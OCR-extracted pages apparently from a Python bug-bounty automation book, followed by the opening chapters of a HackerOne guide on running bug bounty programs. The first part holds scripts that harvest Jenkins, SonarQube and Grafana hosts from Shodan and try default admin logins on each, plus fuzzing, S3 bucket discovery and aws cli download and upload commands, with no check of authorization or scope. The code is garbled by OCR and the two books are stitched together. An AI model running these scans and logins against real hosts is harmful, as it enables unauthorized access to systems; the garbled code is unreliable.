< e shodan.io/search?query=X-Jenkins Apps sami Get Predictions Verification of SA. Asynchronous Tas. Subdomain scann.. GNU Affero Gener Shodan Developers Monitor View All... SHODAN X-Jenkins a A Explore Downloads Reports Pricing Exploits Maps Images Share Search + Download Results H Create Report TOTAL RESULTS New Service: Keep track of what you have connected to the Internet. Check out Sho 87,468 144.202.93.115 HTTP/1.1 403 Forbidden TOP COUNTRIES Choops. LLC Added on 2020-08-14 12:31:26 GMT Date: Fri, 14 Aug 2020 12:31:26 GMT United States, Seattle X-Content-Type-Options: nosniff Set-Cookie: JSESSIONID fe39dfb3=node8q89 Expires: Thu, 01 Jan 1970 00:00:00 GMT cloud Content-Type: text/html charsetoutf-8 X-Hudson: 1.395 X-Jenkins: 2.235. More than 87 thousand jenkins instances are available in shodan. You can use your previous python script and just change the shodan query. I have automate the login with github scenario from selenium import webdriver from selenium.webdriver.common.key import Keys from selenium.webdriver.firefox.options import Options import re options = Options() options.headless = False username = "Your Github username" password = "Your github password" jenkins_list : open('jenkins-instances.txt',r).readlines0 for jenkins in jenkins_list: jenkins = jenkins.rstrip(\n') print('Checking -'+jenkins) - driver = webdriver.Firefox(options=options) driver.set_page_load_timeout(20) try: driver.get(jenkins) except: print("Page load timeout") driver.implicitly_wait(20) #gives an implicit wait for 10 seconds try:
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 398
|
59
|
element = driver.find_element_by_id(login_field" element.send_keys(username) element = driver.find_element_by_id('password') element.send_keys(password) element = driver.find_element_by_name('commit') element.click() element = driver.find_element_by_id('js-oauth-authorize-btn') element.click() except: pass if re.findall(r'Manage\sJenkins',driver.page_source): int(jenkins+' - Jenkins Misconfigured') driver.quit() We have used selenium for browser automation, Necessary packages imported, we have set headless mode false because sometimes github ask you to OTP that time you need browser to enter github OTP after that you can set headless to True this prevents opening browser. We have created a webdriver object and passed the url to fetch the page. Here we have set wait time 20 seconds because find_element_by_id throws an exception because it executes before the page load. So that we have set waiting time 20. You can reduce the time if your internet connection is fast. Once the page gets loaded it will find the username field id named login_field and password field to fill the credentials and automatically click the login button and then again page load one more button called authorize button it also clicked automatically once it is done it will redirect to jenkins instance. If Jenkins instance is misconfigured it will print "Misconfigued jenkins instance" because we have searched the regex "Manage\sJenkins" that's it. I will automate other SSO providers in the upcoming part of this book.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 305
|
60
|
SONARQUBE INSTANCES WITH DEFAULT CREDENTIALS SonarQube is an open source static code analysis tool which continuously checks the code quality and security vulnerabilities of the code. Some developers forgot to remove default credentials. Default credentials for sonarqube is admin/admin Shodan query for find SonarQube instance http.title:""SonarQube" import shodan SHODAN_API_KEY = "YOUR_SHODAN_API_KEY" api = shodan.Shodan(SHODAN_API_KEY) out_file=open('sonarqube-instances.txt',a') query='http.title:"SonarQube" try: results= api.search(query) print('Results found: {}'.format(results['total'])) for result in results['matches']: print('IP: {}'.format(result['ip_str']+:'+str(result['port']))) if result['port'] in [80,443]: if result['port']==80: scheme = "http://" else: scheme = " https://" = out = scheme+result[ip_str'] else:
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 216
|
61
|
out = "http://"+result['ip_str']+:'+str(result['port']) out_file.write(out+"in) print(") except shodan.APIError as e: print('Error: {}'.format(e)) Same code but query only changed here to get a list of urls of sonarqube. import requests as rt import urllib3 arllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) urls open("sonarqube-instances.txt","r") data = {"login":"admin"," ","password":"admin"} endpoint="/api/authentication/login" for url in urls.readlines() print("Testing-"+url) try: req : rt.post(url=url.rstrip("\n")+endpoint,data=data,verify=False) if freq.status_code==200: print("Login success") except: pass In the above code rt is the alias name of requests, You can name it as anything using "as" keyword.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 185
|
62
|
JENKINS DEFAULT CREDENTIALS TESTING Same way you can test Jenkins instances login too. Shodan query - x-jenkins import requests as rt importurllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) urls = open("jenkins-instances.txt","r") data {"j_username":"admin","j_password":"password" = endpoint="/j_acegi_security_check" for url in urls.readlines(): url =url.rstrip("\n") print("Testing - "+url) - try: req = rt.post(url=url+endpoint,data=data,verify=False) if req.headers.get(location') and not "loginError" in req.headers["location"]: print("Login success") except: pass Here what is the third line?. We have disabled verification of ssl when making a request to https sites. So ssl warning appeared in a terminal that is noisy, so I just disabled it by importing urllib3 Library. You can see here - https://github.com/abuvanth/default-credentials my repository contains default credentials for the applications.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 213
|
63
|
PROMETHEUS INSTANCES WITHOUT AUTHENTICATION Prometheus is an open source monitoring system which is used to monitor application servers,database servers, kubernetes clusters or anything running in that cluster. This prometheus instance has no authentication by default that means this instance should be running within the local network or VPC(Virtual Private Cloud). Some many developers forgot to restrict this instance visible to the internet. If you get access into this instance you can see a lot of logs and information about the network and internal resources. Shodan query: http.title: "Prometheus Time series" & e shodan.io/search?query=http.title%3A"Prometheus+Time+series" Apps sami Get Predictions Verification of SA. Asynchronous Tas Subdomain scann... GNU Affero Gener Shodan Developers Monitor View All.. SHODAN http.title: "Prometheus Time series Explore Downloads Reports Pricing Enter Exploits Maps Share Search Download Results Hill Create Report TOTAL RESULTS New Service: Keep track of what you have connected to the Internet. Check out Shodan N 30,190 Prometheus Time Series Collection and Processing Server 2.32.135.202 HTTP/1.1 200 OK TOP COUNTRIES UCloud (HK) Holdings Group Limited Added on 2020-08-15 06:32:57 GMT Date: Sat, 15 Aug 2020 06:32:57 GMT Hong Kong Content-Type text/html; charset-utf-8 Technologies : Transfer-Encoding: chunked Rickshaw There are more than 30k prometheus Instances without authentication that are visible in shodan. You can check if any bug bounty sites expose this instance.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 342
|
64
|
GRAFANA INSTANCES WITH DEFAULT CREDENTIALS Grafana is an open source analytics dashboard for monitoring performance of the servers,database servers and cloud resources. Sometimes developers forgot to change the default credentials. Shodan query: http.title:"Grafana" & e shodan.io/search?query=http.title%3A"Grafana" Apps saml Get Predictions Verification of SA... Asynchronous Tas. Subdomain scann... GNU Affero Gener. Shodan Developers Monitor View All... SHODAN http.title:*Grafana" a Explore Downloads Reports Pricing Enter Exploits Maps Share Search Download Results Lall Create Report TOTAL RESULTS New Service: Keep track of what you have connected to the Internet. Check out Shodan N 81,894 Grafana 200.80.42.120 TOP COUNTRIES HTTP/1.1 200 OK ar20.loservers.com Cache-Control: no-cache FX Corporation Added on 2020-08-15 07.50.48 GMT Content-Type: text/htal charset=UTF-B Argentina Expires: -1 Technologies Pragma: no-cache X-Frame-Options: deny Date: Sat, 15 Aug 2020 07:50:47 GMT Transfer-Encoding: chunked There are more than 81k grafana visible in shodan. You can test default credentials in each instance. Credentials - admin/admin
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 285
|
65
|
import shodan SHODAN_API_KEY = "Your Shodan Api" api =shodan.Shodan(SHODAN_API_KEY) out_file=open(grafana-instances.txt',a') query='http.title:"Grafana" try: results = api.search(query) print('Results found: {}'.format(results['total'])) for result in results['matches']: print('IP: {}'.format(result['ip_str']+:'+str(result['port'])) if result['port'] in [80,443]: if result['port']==80: scheme : "http://" else: scheme = "https://" out = scheme+result[ip_str'] else: out : "http://"+result['ip_str']+:'+str(result['port']) out_file.write(out+'in) print(") except shodan.APIError as e: print('Error: {}'.format(e)) Testing Default credentials of Grafana import requests as rt import urllib3 surllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) urls = open("grafana-instances.txt","r") data 1={"user":"admin","password":"admin"} endpoint="/login" for url in urls.readlines(): print("Testing - "+url) try: req=rt.post(url=url.rstrip("\n")+endpoint,json=data,verify=False) if req.status_code==200: print("Login success")
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 279
|
66
|
except: pass
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 3
|
67
|
HOW TO FIND LOGIN ENDPOINT AND PARAMETERS Let's see how I found login endpoint and parameters that is very simple, open the url in browser and fill the username and password click login button and just intercept the request with burp suite you can see the request header and the request body as follows Forward Drop Intercept is on Action Raw Params Headers Hex ISON Beautifier POST /login HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac os X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0 Accept: application/json, text/plain, */* Accept-Language: en-Us,en;q=0.5 Accept-Encoding: gzip, deflate Referer: Content-Type: application/json;charset=utf-8 Content-Length: 46 Connection: close {"user": "admin" "email":""," "password":"admin"} You can see here the post requests body is the json that's why we have used json=data in code.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 203
|
68
|
APACHE AIRFLOW INSTANCE WITHOUT AUTHENTICATION Apache airflow is an open source workflow management software. By default installation there is no authentication at the time of I am writing this. If you get access you can see sensitive configurations and credentials in source code. Shodan query: http.title:"Airflow - DAGs" C shodan.io/search?query=http.title%3A"Airflow+-+DAGs" Apps sami Get Predictions - Verification of SA... Asynchronous Tas T Subdomain scann. GNU Affero Gener 5 Shodan Developers Monitor View All... SHODAN http.title:"Artlow - DAGs Explore Downloads Reports Pricing Enterpri Exploits Maps Share Search Download Results Hill Create Report TOTAL RESULTS New Service: Keep track of what you have connected to the Internet. Check out Shodan Mor 946 Airflow = DAGs 13.124.238.188 TOP COUNTRIES HTTP/1.1 200 c2-13-124-238-188.ap-northesst 2 compute.amazonews.com Date: Sat, 15 Aug 2020 08:56:05 GMT Amazon.com Content-Type: text/htal; charset-ut.f-8 Added on 2020-08-15 08:56:06 GMT Content-Length: 94988 x South Korea, Incheon Connection: keep-alive Technologies: B 0 % Server: gunicorn/19.10.0 Vary: Cookie clous Set-Cookie: You may found more shodan queries here - https://github.com/jakejarvis/awesome-shodan-queries
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 332
|
69
|
SUBDOMAIN ENUMERATION A website can have any number of subdomains which can be used to run staging and development versions of applications and may be running instances like jenkins,sonarqube and all I mentioned above or anything can be hosted by the developers. We can write a subdomain enumeration tool but Reinventing the wheel does not make sense, already there are many numbers of the tools available in the open source community for subdomain enumeration. Personally I am using the sublist3r tool written in python.which is faster and plugable inside our script. okay let's automate our work. Install sublist3r using the following commands. git clone https://github.com/aboul3la/Sublist3r.git cd Sublist3r pip install -r requirements.txt python3 setup.py install After installation is complete, you can come back to the directory where you have domain list files. We have a domain list in bug-bounty-domains.txt file but some of the domains start with "www" but input of sublist3r should be google.com not www.google.com. So we need to strip the "www." from domains. Let's write a script domains = open("bug-bounty-domains.txt", "r") domains2 = open("bug-bounty-domains-2.txt","w") for domain in domains.readlines(): lomains2.write(domain.Istrip('www.')
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 281
|
70
|
Here Istrip is a string function which removes "www." from the start of the string. Let's do subdomain enumeration import sublist3r domains = open("bug-bounty-domains-2.txt","r") for domain in domains.readlines(): domain = domain.rstrip("\n") #delete newline character(\n) subdomains = sublist3r.main(domain, 40, domain+'_subdomains.txt',silent=True,engines=None, enable_bruteforce=False,verbose= False,ports: None) for sub in subdomains: print(sub) First parameter of sublist3r's main function is domain, second is number of thread and third parameter is name of the file to store subdomain list. Here we have disabled subdomain bruteforce because it takes a while to give results but more possible domains may cover using bruteforce if you wish to use bruteforce, you can enable it by setting enable_bruefore=True in the main function of sublist3r. Subdomains of the domain will be stored in the name of domain.com_subdomains.txt Subdomain enumeration is done, what we have to do next?.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 230
|
71
|
DIRECTORY FUZZING Let's fuzz the directory of the subdomain, You may have found something like an admin panel or backup files or anything sensitive. Let's say if you got .git directory during directory fuzzing, You can download source code of the application using git dumper tool - https://github.com/arthaud/git-dumper. Source code may contain credentials. Many times I got this type issue and got more than $2000. You can find many articles related to this issue online.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 101
|
72
|
DOMAIN AVAILABILITY CHECK Before going to the fuzzing directory we need to check if the domain is alive or not, Because large number of requests to the dead domain is a waste of time and bandwidth. Let's write a code import requests import urllib3 Ilib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning def isdomainlive(domain): httpsUrl = "https://"+domain httpUrl = "http://"+domain urls = [] try: requests.get(httpsUrl+"/robots.txt",timeout=5,verify=False) urls.append(httpsUrl) except: pass try: requests.get(httpUrl+"/robots.txt",timeout=5,verify=False) urls.append(httpUrl) except: pass if urls: return urls else: return False
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 150
|
73
|
Save this code as checkdomains.py. Here what we did is sent a request to both port 80 and 443 for checking availability of the domain. Here we hit robots.txt endpoint because other than this endpoints are large in size. pass key word does nothing in python it is used to just fill up except block. Isdomainlive function return list of domains with respective scheme if available otherwise return False.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 81
|
74
|
FUZZING import requests import wfuzz import checkdomains wordlist = requests.get(https://raw.githubusercontent.com/maurosoria/dirsearch/master domains = open("bug-bounty-domains-2.txt","r") = payloads = wfuzz.get_payload(wordlist) for domain in domains.readlines(): subdomains = open(domain.rstrip("\n")+"_subdomains.txt"," "r") for subdomain in subdomains.readlines0: urls = checkdomains.isdomainlive(subdomain.rstrip("\n")) if urls: for url in urls: print("Fuzzing-"+url) try: fuzzer = payloads.fuzz(url=url+"/FUZZ",sc=[200]) for result in fuzzer: print(result) except: pass Here we imported the necessary modules and downloaded the directory wordlist from dirsearch repository. We have checked whether the domain is live or not. If the domain is live then fuzzing starts otherwise goto next subdomain. The whole process takes a while because the number of domains and subdomains. If you close the terminal window the script will stop working, if you want to run this script in the background you can use screen. You can see many articles related to usage of screens in the terminal.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 244
|
75
|
FIND S3 BUCKETS FROM HTML,JS S3 bucket is a static file storage developed by amazon and used by millions of developers for software development. Many developers refer to static files like js, html, image,css via s3 bucket like something.s3.amazonaws.com/js/main.js. While creating s3 buckets sometimes developers configure unnecessary policies and configuration for public users. Which leads to unauthorized file access,upload/delete. We can write automation scripts to find s3 buckets and secrets using regular expression. Before going to write an automation script, we should write a regular expression to detect s3 buckets. The possibility of the s3 bucket Url is 1.http://s3.amazonaws.com/[bucket_name]/ 2. http://[bucket_name].s3.amazonaws.com/ Sometimes region also include in url like http://bucketname.s3-east-1.amazonaws.com So we need to cover all the possibilities. Let's write a regex. 1. [\w\-\.]+\.s3\.?(?:[\w\-\.]+)?\.amazonaws\.com Here we have written the first possibility with a region match. 2. (?<!\.)s3\.?(?:[\w\-\.]+)?\.amazonaws\.com\\?V[\w\-\.]+ Putting together [\w\-\.]+\.s3\.?(?:[\w\-\.]+)?\.amazonaws\.com|(?<!\.)s3\.?(?:[\w\-\.]+)? \.amazonaws\.com\\?V[\w\-\.]+
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 312
|
76
|
Regex ready for S3 buckets but we need to collect js files to search for s3 buckets inside the js files. So we need to write a regex for detecting js paths. (?<=src=[""D)[a-zA-Z0-9_\.\-\:V]+\.js Here we have used a positive look ahead to match the js file. Let's write code to detect s3 buckets. import requests, from urllib.parse import unquote import checkdomains domains open("bug-bounty-domains-2.txt","r") for domain in domains.readlines() subdomains = open(domain.rstrip("\n")+"_subdomains.txt","r") for subdomain in subdomains.readlines(): buckets = urls = checkdomains.isdomainlive(subdomain.rstrip("\n")) if urls: for url in urls: print("checking -"+url) try: html=requests.get(url=url,timeout=10,verify=False).content try: html=unquote(str(html)) except Exception as e: print(e) regjs=r"(?<=src=[""D)[a-zA-Z0-9_l.\-:V]+\.js" regs3=r"[\w\-\.]+\.s3\.?(?:[\w\-\.]+)?\.amazonaws\.com|(? <!\.)s3\.?(?:[\w\-\.]+)?\.amazonaws\.com\\?V[\w\-\.]+" js=re.findall(regis.html) s3=re.findall(regs3,html) buckets=buckets+s3 if len(js)>0: for in js: if i.startswith('//): jsurl=i.replace(//,http://) elif i.startswith(http'): jsurl=i
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 337
|
77
|
else: jsurl=url+'/+i try: jsfile=requests.get(jsurl,timeout=10).content s3=re.findall(regs3,jsfile) except Exception as y: pass if s3: buckets=buckets+s3 except Exception as X: pass for bucket in buckets: print(bucket) Here we import the unquote function from the urllib module because the html content is in urlencoded format SO we need to decode. if we do not decode, regex will be not matched. First get a webpage and search for s3 bucket and collect all js files then iterate over js url and get js file and apply regex search for each js file. If you found an s3 bucket you can test it manually. Before testing the s3 bucket we need to configure laws cli. pip install laws-cli laws configure It will ask for an access key and secret key. You need to create an account in amazon to obtain the credentials. After configuring the aws cli. We can test s3 buckets by the following commands. laws s3 Is s3://bucketname Check if any sensitive files present in s3 bucket
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 226
|
78
|
aws s3 cp s3://bucketname/secret.txt Try to Download the secret file if the file is present. laws s3 mv testfile.txt s3://bucketname/ Try to upload the testfile.txt to s3 bucket. I made more than 1000 dollars with this issue. We can automate this process too, We will do in the next part of this book.
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 79
|
79
|
CONCLUSION The first part of this book is finished here. We will learn bug bounty automation with advanced python with optimization techniques in upcoming parts of this book. Please leave your reviews after reading this book. I will write upcoming parts based on your review. Thank You!
|
Bug.Bounty.Automation.With.Python.The.secrets.of.bug.hunting (1)
| 53
|
1
|
BUG BOUNTY FIELD MANUAL How to Plan, Launch, and Operate a Successful Bug Bounty Program BY ADAM BACCHUS 1 lackerone
|
Bug.Bounty.Field.Manual
| 32
|
2
|
HACKERONE BUG BOUNTY FIELD MANUAL Table of Contents Chapter 1: Assessment 7 Chapter 2: Preparation 9 Chapter 2.1: Vulnerability Management 10 Chapter 2.2: Allocate Resources 11 Chapter 2.2.1: Choose a Leader, Build Your Team 11 Chapter 2.2.2: Share the Load 12 Chapter 2.2.3: Brace Yourself, Bugs are Coming 13 Chapter 2.2.4: Choose Your Platform 13 Chapter 2.3: Bounty Process 13 Chapter 2.3.1: Bounty Tables 14 Chapter 2.3.2: Define Your Bounty Awarding Process 16 Chapter 2.4: Determine Your Service Level Agreements 17 Chapter 2.5: Craft Your Policy/Rules Page 18 Chapter 3: Champion Internally 20 Chapter 3.1 Security Team 22 Chapter 3.2 Engineering 23 Chapter 3.3 Finance 24 Chapter 3.4 Legal 24 Chapter 3.5 PR/Comms 25 2
|
Bug.Bounty.Field.Manual
| 228
|
3
|
HACKERONE TABLE OF CONTENTS Chapter 4: Launch 27 Chapter 4.1: Start Small and Work Your Way Up 28 Chapter 4.2: It's Time to Start Triaging 31 Chapter 4.3: Flex and Iterate 32 Chapter 4.4: Pump It Up 32 Chapter 5: The Post-Bounty Era 35 Chapter 5.1: Scale Your Program 36 Chapter 5.2: Vulnerability Management - Reloaded 40 Chapter 5.3: Leverage Your Bug Bounty Data - Root Cause Analysis 44 Chapter 5.4: Diplomacy 46 Chapter 5.5: Celebrate the Milestones 49 Wrapping It Up 49 Appendix 50 Bug Bounty Readiness Assessment Questionnaire 51 Bug Bounty Leader Job Description 62 Links and Resources by Chapter 66 Glossary 69 3
|
Bug.Bounty.Field.Manual
| 183
|
4
|
Welcome, Friend, to The Bug Bounty Field Manual! You are here because you want to learn all about this bug bounty stuff. You're ready to get ramped up immediately, but you have questions, uncertainties - maybe even trepidations. Well, you've come to the right place. This manual was created to teach everything you need to know to plan, launch, and operate a successful bug bounty program. The illustrious bug bounty field manual is composed of five chapters: 1. Assessment: See if you're ready for a bug bounty program 2. Preparation: Tips and tools for planning your bug bounty success 3. Champion Internally: Getting everyone excited about your program 4. Launch: How to navigate a seamless program kickoff 5. The Post Bounty Era: Operating a world-class bug bounty program Spinning up and executing a successful bug bounty initiative is no small undertaking! Thankfully, you're not alone in this journey.
|
Bug.Bounty.Field.Manual
| 190
|
5
|
Hi! My name's Adam Bacchus, and we're going to get to know each other over the next few minutes, SO allow me to tell you a bit about myself. I'm currently the Chief Bounty Officer at HackerOne, and before that, I helped run bug bounty programs at Snapchat and Google, and before that, I did some hacking myself as a security consultant. I'm passionate about helping organizations start and run successful bug bounty programs, helping hackers succeed, and generally trying to help make the Internet a little bit safer. In my spare time, | enjoy fire breathing, playing music, and mixing drinks. This elephant-sized guide covers what you need to know about how to plan, launch, and operate a successful bug bounty program. Don't worry, we'll take it one bite at a time. You ready? Let's do this! 5
|
Bug.Bounty.Field.Manual
| 174
|
6
|
PREAMBLE BUG BOUNTY BENEFITS Sometimes it's helpful to start with the end in mind. Imagine yourself enjoying a well-deserved holiday in Hawaii. You're sitting on the beach, listening to the gentle roll of the ocean waves, and you feel the fine sand in between your toes. Right as the sun sets, you sip your Mai Tai thinking about how amazing your experience has been since launching your Bug Bounty Program: after a seamless launch, you are receiving very useful bug submissions that your prior efforts never found, your engineering team is now able to secure your systems faster and cheaper than ever before, and you just launched a competitive bounty challenge for your top hackers. Ahhhh, now doesn't that sound nice? Cheekiness aside, all of this can be achieved by a well-executed bug bounty program. (As far as the Mai Tai goes, you're on your own.) In fact, the median time to receiving a vulnerability report from launching a program is less than 9 hours! You will get a great volume of actionable, unique reports at a fraction of the pen testing budgets of yesteryear. I'm about to dive into the really good stuff, but before we get into the mechanics of bug bounty programs, we first need to do a self-check to see if you are truly ready for one. 6
|
Bug.Bounty.Field.Manual
| 271
|
7
|
CHAPTER 1 ASSESSMENT After having run or been a part of dozens of bug bounty programs, | can tell you that the experience and value derived from them heavily depends on taking a moment to assess where you're at today. 7
|
Bug.Bounty.Field.Manual
| 49
|
8
|
CHAPTER 1 An initial self-assessment is critical to ensure you don't jump off the deep end too early. Launching a program without this assessment can actually make things worse! Not to worry, though; to help you determine where you're at and what type of program best suits your needs, we've created an assessment questionnaire. It only takes a few minutes to fill out, and trust me - it's worth it. AM READY FOR BUG BOUNTIES? When it comes to working with hackers, there are a few different options. The assessment questionnaire will help you gauge which is best for you. What are these options, you ask? One of the biggest distinctions is whether or not you offer monetary rewards, or "bounties," to hackers outside of your organization that report valid security flaws to you. Many organizations start off without bounties, with what's called a vulnerability disclosure program (VDP). In a bug bounty program (BBP), the stakes are a bit higher, as you offer varying monetary rewards for issues identified and reported to you. Another factor is time; some choose to start with a pilot program to test the waters, which can last anywhere from a month to a year. This guide is about running a bug bounty program, but the HackerOne platform can also be used for vulnerability disclosure programs and crowdsourced pen testing. You can even start off with buying just a single vulnerability! Some HackerOne customers leverage time-bound pilot programs in lieu of a pen test. This is another great way to dip your toe into bug bounties. Want to learn how you can We encourage our customers to run the bug get the leading vulnerability bounty program that works best for them. Whether disclosure platform for FREE? Click here, give us a private or public, time-bound versus ongoing, a few bits of info and we'll be program offering cash bounties or sticking to swag in touch ASAP! only - we work together to create the best blend for your organization and will grow with you. Alright. now let's begin our journey into bountyland! 8
|
Bug.Bounty.Field.Manual
| 420
|
9
|
CHAPTER 2 PREPARATION This is the most important step in any bug bounty initiative. As mentioned earlier, it's tempting to jump straight off the deep end, but whether or not you do a bit of prep work can make or break your experience. Organizations that hit all the right notes get amazing ongoing value out of their program. Those who don't can end up getting burned. 9
|
Bug.Bounty.Field.Manual
| 79
|
10
|
CHAPTER 2 Chapter 2.1: Vulnerability Management As we alluded to in the assessment questionnaire, you likely already have some vulnerability management (VM) processes in place (i.e. ensuring vulnerabilities are identified and fixed in a timely manner). In any VM process, you're going to have streams of vulnerabilities coming in from different sources, such as: automated scanners; issues uncovered by security engineers, developers, or external consultants; or even someone publicly posting a zero-day! You'll then need to prioritize these issues, typically based on severity. Once you've prioritized them, you have to hunt down owners to ensure the bugs get fixed in a timely manner. When starting a bug bounty program, you're essentially adding a new stream of bugs into your existing VM processes. It's important to ensure you have a solid process in place for communicating vulnerability information to the right owner, including severity of the issue, and expected remediation timelines. When you launch your bug bounty program on HackerOne, you have the ability to assign a severity to each report, as well as integrate with common bug tracking systems (e.g. JIRA, Assembla). This streamlines bug reporting and triage efforts. If you'd like, you can even invite the developer responsible for the fix directly to the report on HackerOne! Some organizations shy away from bug bounty programs because they feel they aren't ready for a new stream of bugs. | often hear sentiments such as: "Our security team is already swamped, how can we find time to run a bounty program?" "We have a hard enough time getting developers to fix security bugs in a timely manner today, and you want me to pile more security bugs on top of that? Are you * @3$ Crazy!?" Fortunately, a bug bounty program can actually help improve the security culture in your organization! 10
|
Bug.Bounty.Field.Manual
| 375
|
11
|
CHAPTER 2 This is a coordinated and purposeful dialogue that you spearhead with a key internal stakeholder: the engineering team. PRO TIP: Take charge of bugs with all the As soon as you can, give your developers a heads right tools. To equip you, we've up that bugs are coming and that it's a good thing. created a sample Bug Bounty Explain that any bug identified through your program is live in production, and fortunately a friendly Leader Job Description for you to hacker has taken the initiative to report it to you. utilize in your organization. This means a malicious attacker could also find the same bug, which creates real world motivation for more timely remediation. It also helps to prioritize and improve security culture throughout your organization, and provides valuable data on where your current security processes have failed (more on this in Chapter 5, The Post Bounty Era). Chapter 2.2: Allocate resources Before you do anything else, lock down the resources necessary to get up and running. This includes allocating time for yourself as well as securing resources from your security team, and your immediate organization. Chapter 2.2.1: Choose a leader, build your team First, you'll need a bug bounty leader (BBL). This person is the ultimate owner and champion for your bug bounty initiative. It might even be you! The BBL is responsible for the success of your program, but they can't do it alone. Once the BBL is established, they need to form a bug bounty team (BBT) that will support the ongoing program. The BBT is typically composed of members of the security team, but there's no reason you can't include other security-minded individuals from your organization. 11
|
Bug.Bounty.Field.Manual
| 348
|
12
|
CHAPTER 2 Chapter 2.2.2: Share the load Running a bug bounty program requires a commitment from your BBT to perform a large variety of tasks, such as triaging bug reports, communicating with hackers, defining and dishing out bounty amounts, vulnerability management, and more! Many teams already have a full plate as part of their regular job duties, SO time management and batched work is the name of the game. The best way to share the load is to set up a weekly on-duty rotation. BUG BOUNTY DUTY S M T W T F S Dade 1 2 3 4 5 6 7 Kate 8 9 10 11 12 13 14 Joey 15 16 17 18 19 20 21 Ray 22 23 24 25 26 27 28 Whoever is on bug bounty duty is responsible for all operational work that week, as well as continuing progress on any strategic improvements to your program. 12
|
Bug.Bounty.Field.Manual
| 210
|
13
|
CHAPTER 2 Chapter 2.2.3: Brace yourself, bugs are coming In addition to setting up an on-going rotation, you'll want to clear out the calendars of your BBT for the first week when you launch. There's often a large spike in activity at the launch of a program (like Yelp experienced), and this is also the time when you'll quickly identify and course correct for any hiccups in your program. Chapter 2.2.4: Choose your platform Fortune 500 companies like Qualcomm, and hot tech companies like Uber, deploy bug bounty programs with the help of a bug bounty platform. It's possible to run a program in-house, but things like tracking status of reports, processing payments, and attracting and maintaining relationships with top hacking talent is a lot easier with a bug bounty platform. I may be a little biased, but I've heard this "HackerOne" thing is pretty great; | mean, you could try to recruit 85,000 hackers on your own... or you could sign up for HackerOne to quickly and easily access the largest pool of top hacking talent in the world. But don't take my word for it - see what our customers have to say. Before real bug reports start flowing in, familiarize yourself and the rest of your BBT on how to use the HackerOne platform. If you've signed up for Professional or Enterprise, a HackerOne specialist will help train your team. Chapter 2.3: Bounty Process One of the first questions most people have when starting a bug bounty program is, "how much is this going to cost?" Not surprisingly, one of the first answers you'll usually get is "it depends!" There a wide variety of factors to take into consideration, such as your initial scope, how you assess severity, and whether you are running a pilot VS. an ongoing program. 13
|
Bug.Bounty.Field.Manual
| 381
|
14
|
CHAPTER 2 We have a great post on our blog: Anatomy of a Bug Bounty Budget for a deep dive on this topic, but feel free to continue reading for high-level guidance. Chapter 2.3.1: Bounty Tables The simplest way to approach this is to set up a bounty table. A bounty table illustrates how much you are willing to pay for various bugs, helps set expectations for hackers, and gives you and your team a guideline to ensure fair and consistent reward amounts. Typically you want to pay out based on the severity of the issue identified. HackerOne provides CVSS (Common Vulnerability Scoring System) scoring in-platform to assist with this. Both hackers and teams can use CVSS to calculate a severity, or simple pick one from Low, Medium, High, or Critical. Available in every product tier, we show you the average award amounts across the hundreds of programs on our platform. Integrated with the recently launched CVSS severity setting on reports, our Bounty Statistics feature automatically shows you the median bounty across our platform for that severity, as well as what programs at a competitive and top level are paying out. Here's an example of bounty statistics for a Medium severity report: At the time of this writing, here are the statistics for bounties across all severities: COMPETITIVE SEVERITY MEDIAN BOUNTY TOP BOUNTY BOUNTY Critical $1,400 $9,000 $15,000 High $500 $2,500 $4,000 Medium $150 $600 $1,500 Low $100 $250 $500 14
|
Bug.Bounty.Field.Manual
| 320
|
15
|
CHAPTER 2 I'd recommend starting with around (or slightly above) the median values. It's best to ramp up your bounties as bug scarcity increases, as opposed to going too big initially. Once you have a feel for your flow of bugs, you can increase your bounty ranges. Higher bounties results in more attention, especially from higher ranked hackers with polished skill sets. In December, 2016, Shopify paid out $368,800 in ONE DAY to hackers. Was this a failure? Unexpected? No. Quite the opposite. READ SHOPIFY CEO'S RESPONSE ON HACKER NEWS Set award > Amount > $500 Add bonus Report abuse Severity: Medium > $150 (Median) $600 (Competitive) $1,500 (Top) Add a comment Write Common Responses Parsed with Markdown This is a great starting point, but it's always great to refine further over time based on the issues that matter most to you. For example, perhaps you would pay little to nothing for XSS on a sandboxed domain with no sensitive content or functionality, but would pay top dollar for an XSS on your flagship website. For example, Twitter splits their scopes into "core" properties and "all other," then outlines what typical bounties look like for different classes of bugs based on their impact. At the time of this writing, an XSRF on a "core" property on a "critical action" will 15
|
Bug.Bounty.Field.Manual
| 292
|
16
|
